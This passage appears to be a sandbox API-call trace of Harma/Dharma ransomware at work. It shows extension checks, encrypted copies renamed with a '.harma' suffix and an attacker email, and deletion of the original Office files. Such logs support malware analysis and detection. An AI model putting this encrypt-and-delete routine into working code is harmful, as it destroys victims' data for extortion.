lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString=".xlsx") returned 5 [0168.364] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0168.364] lstrlenW (lpString=".ppt") returned 4 [0168.364] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.364] lstrlenW (lpString=".zip") returned 4 [0168.364] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString=".rar") returned 4 [0168.364] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString=".bz2") returned 4 [0168.364] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.365] lstrlenW (lpString=".7z") returned 3 [0168.365] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.365] lstrlenW (lpString=".dbf") returned 4 [0168.365] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.365] lstrlenW (lpString=".1cd") returned 4 [0168.365] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.365] lstrlenW (lpString=".jpg") returned 4 [0168.365] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.365] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.365] lstrlenW (lpString="MSART9.BDR") returned 10 [0168.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.366] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=50838) returned 1 [0168.366] CloseHandle (hObject=0x21c) returned 1 [0168.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 0x20 [0168.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.366] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.366] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.367] GetLastError () returned 0x0 [0168.367] ReadFile (in: hFile=0x21c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xc696, lpOverlapped=0x0) returned 1 [0168.450] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xc6a0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xc6a0, lpOverlapped=0x0) returned 1 [0168.453] ReadFile (in: hFile=0x21c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.453] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.453] SetEndOfFile (hFile=0x3ac) returned 1 [0168.453] CloseHandle (hObject=0x3ac) returned 1 [0168.453] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.453] SetEndOfFile (hFile=0x21c) returned 1 [0168.456] CloseHandle (hObject=0x21c) returned 1 [0168.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 1 [0168.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.665] lstrlenW (lpString=".doc") returned 4 [0168.665] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.665] lstrlenW (lpString=".docx") returned 5 [0168.665] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0168.665] lstrlenW (lpString=".pdf") returned 4 [0168.665] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.665] lstrlenW (lpString=".xls") returned 4 [0168.665] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.665] lstrlenW (lpString=".xlsx") returned 5 [0168.665] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0168.665] lstrlenW (lpString=".ppt") returned 4 [0168.665] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.665] lstrlenW (lpString=".zip") returned 4 [0168.665] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.665] lstrlenW (lpString=".rar") returned 4 [0168.666] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.666] lstrlenW (lpString=".bz2") returned 4 [0168.666] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.666] lstrlenW (lpString=".7z") returned 3 [0168.666] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.666] lstrlenW (lpString=".dbf") returned 4 [0168.666] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.666] lstrlenW (lpString=".1cd") returned 4 [0168.666] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.666] lstrlenW (lpString=".jpg") returned 4 [0168.666] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.666] lstrlenW (lpString=".doc") returned 4 [0168.666] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.666] lstrlenW (lpString=".docx") returned 5 [0168.666] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0168.666] lstrlenW (lpString=".pdf") returned 4 [0168.666] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.666] lstrlenW (lpString=".xls") returned 4 [0168.666] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.667] lstrlenW (lpString=".xlsx") returned 5 [0168.667] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0168.667] lstrlenW (lpString=".ppt") returned 4 [0168.667] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.667] lstrlenW (lpString=".zip") returned 4 [0168.667] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.667] lstrlenW (lpString=".rar") returned 4 [0168.667] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.667] lstrlenW (lpString=".bz2") returned 4 [0168.667] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.667] lstrlenW (lpString=".7z") returned 3 [0168.667] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.667] lstrlenW (lpString=".dbf") returned 4 [0168.667] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.667] lstrlenW (lpString=".1cd") returned 4 [0168.667] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0168.667] lstrlenW (lpString=".jpg") returned 4 [0168.668] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.668] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0168.668] lstrlenW (lpString="DELIMR.FAE") returned 10 [0168.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0168.681] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=10144) returned 1 [0168.681] CloseHandle (hObject=0x390) returned 1 [0168.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 0x20 [0168.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.893] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.893] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0169.499] GetLastError () returned 0x0 [0169.499] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x27a0, lpOverlapped=0x0) returned 1 [0169.511] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0169.512] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.512] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0169.513] SetEndOfFile (hFile=0x38c) returned 1 [0169.513] CloseHandle (hObject=0x38c) returned 1 [0169.513] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.513] SetEndOfFile (hFile=0x330) returned 1 [0169.515] CloseHandle (hObject=0x330) returned 1 [0169.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 1 [0169.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.516] lstrlenW (lpString=".doc") returned 4 [0169.516] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.516] lstrlenW (lpString=".docx") returned 5 [0169.516] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.516] lstrlenW (lpString=".pdf") returned 4 [0169.517] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.517] lstrlenW (lpString=".xls") returned 4 [0169.517] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.517] lstrlenW (lpString=".xlsx") returned 5 [0169.517] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.517] lstrlenW (lpString=".ppt") returned 4 [0169.517] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.517] lstrlenW (lpString=".zip") returned 4 [0169.517] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.517] lstrlenW (lpString=".rar") returned 4 [0169.517] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.517] lstrlenW (lpString=".bz2") returned 4 [0169.517] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.517] lstrlenW (lpString=".7z") returned 3 [0169.517] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.517] lstrlenW (lpString=".dbf") returned 4 [0169.517] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.517] lstrlenW (lpString=".1cd") returned 4 [0169.517] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.517] lstrlenW (lpString=".jpg") returned 4 [0169.517] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.517] lstrlenW (lpString=".doc") returned 4 [0169.517] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.517] lstrlenW (lpString=".docx") returned 5 [0169.518] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.518] lstrlenW (lpString=".pdf") returned 4 [0169.518] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.518] lstrlenW (lpString=".xls") returned 4 [0169.518] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.518] lstrlenW (lpString=".xlsx") returned 5 [0169.518] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.518] lstrlenW (lpString=".ppt") returned 4 [0169.518] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.518] lstrlenW (lpString=".zip") returned 4 [0169.518] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.518] lstrlenW (lpString=".rar") returned 4 [0169.518] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.518] lstrlenW (lpString=".bz2") returned 4 [0169.518] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.518] lstrlenW (lpString=".7z") returned 3 [0169.518] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.518] lstrlenW (lpString=".dbf") returned 4 [0169.518] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.518] lstrlenW (lpString=".1cd") returned 4 [0169.518] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0169.518] lstrlenW (lpString=".jpg") returned 4 [0169.518] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.519] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0169.519] lstrlenW (lpString="OLJRNLR.FAE") returned 11 [0169.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.519] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=10160) returned 1 [0169.519] CloseHandle (hObject=0x330) returned 1 [0169.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 0x20 [0169.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.520] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.520] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0169.521] GetLastError () returned 0x0 [0169.521] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x27b0, lpOverlapped=0x0) returned 1 [0169.566] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0169.567] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.567] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0169.567] SetEndOfFile (hFile=0x38c) returned 1 [0169.567] CloseHandle (hObject=0x38c) returned 1 [0169.567] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.568] SetEndOfFile (hFile=0x330) returned 1 [0169.570] CloseHandle (hObject=0x330) returned 1 [0169.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 1 [0169.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.572] lstrlenW (lpString=".doc") returned 4 [0169.572] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.572] lstrlenW (lpString=".docx") returned 5 [0169.573] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.573] lstrlenW (lpString=".pdf") returned 4 [0169.573] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.573] lstrlenW (lpString=".xls") returned 4 [0169.573] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.573] lstrlenW (lpString=".xlsx") returned 5 [0169.573] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.573] lstrlenW (lpString=".ppt") returned 4 [0169.573] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.573] lstrlenW (lpString=".zip") returned 4 [0169.573] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.573] lstrlenW (lpString=".rar") returned 4 [0169.573] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.573] lstrlenW (lpString=".bz2") returned 4 [0169.573] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.573] lstrlenW (lpString=".7z") returned 3 [0169.573] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.573] lstrlenW (lpString=".dbf") returned 4 [0169.573] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.573] lstrlenW (lpString=".1cd") returned 4 [0169.573] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.573] lstrlenW (lpString=".jpg") returned 4 [0169.573] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.574] lstrlenW (lpString=".doc") returned 4 [0169.574] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.574] lstrlenW (lpString=".docx") returned 5 [0169.574] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.574] lstrlenW (lpString=".pdf") returned 4 [0169.574] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.574] lstrlenW (lpString=".xls") returned 4 [0169.574] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.574] lstrlenW (lpString=".xlsx") returned 5 [0169.574] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.574] lstrlenW (lpString=".ppt") returned 4 [0169.574] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0169.574] lstrlenW (lpString=".zip") returned 4 [0169.574] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.574] lstrlenW (lpString=".rar") returned 4 [0169.574] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.574] lstrlenW (lpString=".bz2") returned 4 [0169.574] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.574] lstrlenW (lpString=".7z") returned 3 [0169.574] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.574] lstrlenW (lpString="C:\\Program Files\\Microsoft 